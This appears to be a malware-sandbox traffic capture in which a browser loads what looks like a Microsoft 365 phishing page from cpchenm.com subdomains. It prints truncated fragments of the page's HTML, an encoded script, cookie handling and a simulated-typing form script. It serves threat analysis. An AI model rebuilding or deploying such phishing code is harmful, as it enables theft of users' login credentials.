2024-11-12 16:29:58 UTC	11790	IN	Data Raw: 74 20 6d 75 73 74 20 62 65 20 61 20 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 6c 28 74 68 69 73 2c 74 29 7d 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 74 2c 65 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 2c 72 2c 6e 29 7b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 22 76 61 6c 75 65 22 20 61 72 67 75 6d 65 6e 74 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 6e 75 6d 62 65 72 27 29 3b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 3f 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 2c 6e 29 7b 69 66 28 65 2e 62 79 74 65 4c 65 Data Ascii: t must be a string");return l(this,t)}return c(this,t,e,r)}function c(t,e,r,n){if("number"==typeof e)throw new TypeError('"value" argument must not be a number');return"undefined"!=typeof ArrayBuffer&&e instanceof ArrayBuffer?function(t,e,r,n){if(e.byteLe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49233	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:58 UTC	769	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: tvrcemejeff.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:58 UTC	1102	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 Cache-Control: private, no-store Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:57 GMT Nel: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Request-Id: 0df489a8-e19e-aded-c399-ca9e00bb8976 Server: Microsoft-IIS/10.0
2024-11-12 16:29:58 UTC	1367	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 6c 69 65 6e 74 49 64 3d 37 30 34 46 38 34 43 45 46 33 34 33 34 33 34 30 42 41 41 39 43 43 32 37 32 35 37 35 39 31 38 36 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 31 32 20 4e 6f 76 20 32 30 32 35 20 31 36 3a 32 39 3a 35 38 20 47 4d 54 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 6c 69 65 6e 74 49 64 3d 37 30 34 46 38 34 43 45 46 33 34 33 34 33 34 30 42 41 41 39 43 43 32 37 32 35 37 35 39 31 38 36 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 31 32 20 4e 6f 76 20 32 30 32 35 20 31 36 3a 32 39 3a 35 38 20 47 4d 54 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 Data Ascii: Set-Cookie: ClientId=704F84CEF3434340BAA9CC2725759186; Path=/; Expires=Wed, 12 Nov 2025 16:29:58 GMT; Secure; SameSite=NoneSet-Cookie: ClientId=704F84CEF3434340BAA9CC2725759186; Path=/; Expires=Wed, 12 Nov 2025 16:29:58 GMT; Secure; SameSite=NoneSet-C
2024-11-12 16:29:58 UTC	1068	IN	Data Raw: 65 39 36 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 33 36 35 20 73 69 67 6e 20 69 6e 20 74 6f 20 63 6f 6e 74 69 6e 75 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 20 76 69 65 77 20 74 68 69 73 20 63 6f 6e 74 65 6e 74 20 70 6c 65 61 73 65 20 63 6f 6e 66 69 72 6d 20 79 6f 75 72 20 61 75 74 68 22 20 2f 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c Data Ascii: e96<!DOCTYPE html><html><head><meta property="og:title" content="O365 sign in to continue" /><meta property="og:description" content="To view this content please confirm your auth" /><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2l
2024-11-12 16:29:58 UTC	559	IN	Data Raw: 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 61 2f 70 72 65 6d 2f 31 35 2e 32 30 2e 38 31 33 37 2e 32 39 2f 72 65 73 6f 75 72 63 65 73 2f 73 74 79 6c 65 73 2f 66 6f 6e 74 73 2f 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 72 34 2e 72 65 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 61 2f 70 72 65 6d 2f 31 35 2e 32 30 2e 38 31 33 37 2e 32 39 2f 72 65 73 6f 75 72 63 65 73 2f 73 74 79 6c 65 73 2f 66 6f 6e 74 73 2f 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 2e 74 74 66 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 72 34 2e 72 65 73 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 2f 6f 77 Data Ascii: s.office365.com/owa/prem/15.20.8137.29/resources/styles/fonts/office365icons.woff') format('woff'),url('https://r4.res.office365.com/owa/prem/15.20.8137.29/resources/styles/fonts/office365icons.ttf') format('truetype'),url('https://r4.res.office365.com/ow
2024-11-12 16:29:58 UTC	2119	IN	Data Raw: 62 73 74 72 69 6e 67 28 31 2c 74 2e 6c 65 6e 67 74 68 29 3b 69 66 28 74 2e 69 6e 64 65 78 4f 66 28 72 29 3d 3d 30 29 72 65 74 75 72 6e 20 74 2e 73 75 62 73 74 72 69 6e 67 28 72 2e 6c 65 6e 67 74 68 2c 74 2e 6c 65 6e 67 74 68 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 6e 2c 74 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 6e 2b 22 3d 22 2b 74 2b 22 3b 20 70 61 74 68 3d 2f 22 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 7b 70 3a 22 22 7d 2c 75 3d 6e 2e 73 70 6c 69 74 28 22 26 22 29 2c 69 2c 74 3d 30 3b 74 3c 75 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 69 3d 75 5b 74 5d 2e 73 70 6c 69 74 28 22 3a 22 29 2c 72 5b 69 5b 30 5d 5d 3d 69 5b 31 5d 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e Data Ascii: bstring(1,t.length);if(t.indexOf(r)==0)return t.substring(r.length,t.length)}return null}function c(n,t){document.cookie=n+"="+t+"; path=/"}function l(n){for(var r={p:""},u=n.split("&"),i,t=0;t<u.length;t++)i=u[t].split(":"),r[i[0]]=i[1];return r}function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49234	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:59 UTC	829	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrcemejeff.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
2024-11-12 16:30:00 UTC	909	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:30:00 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:30:00 UTC	270	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:30:00 UTC	2055	IN	Data Raw: 28 63 6f 6e 73 74 20 63 68 61 72 20 6f 66 20 69 6e 70 75 74 53 74 72 2e 73 70 6c 69 74 28 22 22 29 29 20 7b 0a 20 20 20 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 Data Ascii: (const char of inputStr.split("")) { await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49235	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:59 UTC	764	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrcemejeff.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
2024-11-12 16:30:00 UTC	900	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:30:00 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49236	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	627	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrcemejeff.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
2024-11-12 16:30:01 UTC	869	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:30:01 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:30:01 UTC	310	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:30:01 UTC	2015	IN	Data Raw: 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 Data Ascii: await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (selector) { return new Promise(functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49237	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	562	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrcemejeff.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; ClientId=704F84CEF3434340BAA9CC2725759186; OIDC=1; OWAPF=v:15.20.8137.29&l:mouse
2024-11-12 16:30:01 UTC	860	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:30:01 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49239	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:01 UTC	499	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:03 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:01 GMT Etag: 0x8DCBD5317046A2F Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT
2024-11-12 16:30:03 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 31 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 6e 6b 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163001Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002tnkX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:03 UTC	2001	IN	Data Raw: 36 33 35 63 61 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 635ca/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:30:03 UTC	559	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 63 2e 41 74 74 72 69 62 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 3a 74 2e 61 74 74 72 69 62 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 26 26 6e 2e 70 75 73 68 28 74 2e 61 74 74 72 69 62 75 74 65 43 6f 6c 6c 65 63 74 69 6f 6e 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 63 2e 50 72 6f 6f 66 55 70 50 61 67 65 3a 74 2e 61 75 74 68 65 6e 74 69 63 61 74 6f 72 4e 75 64 67 65 53 63 72 65 65 6e 26 26 6e 2e 70 75 73 68 28 74 2e 61 75 74 68 65 6e 74 69 63 61 74 6f 72 4e 75 64 67 65 53 63 72 65 65 6e 29 2c 74 2e 63 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 26 26 6e 2e 70 75 73 68 28 74 2e 63 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 63 2e 45 72 72 6f 72 50 61 67 65 3a 74 2e 61 64 6d 69 6e Data Ascii: );break;case c.AttributeCollection:t.attributeCollection&&n.push(t.attributeCollection);break;case 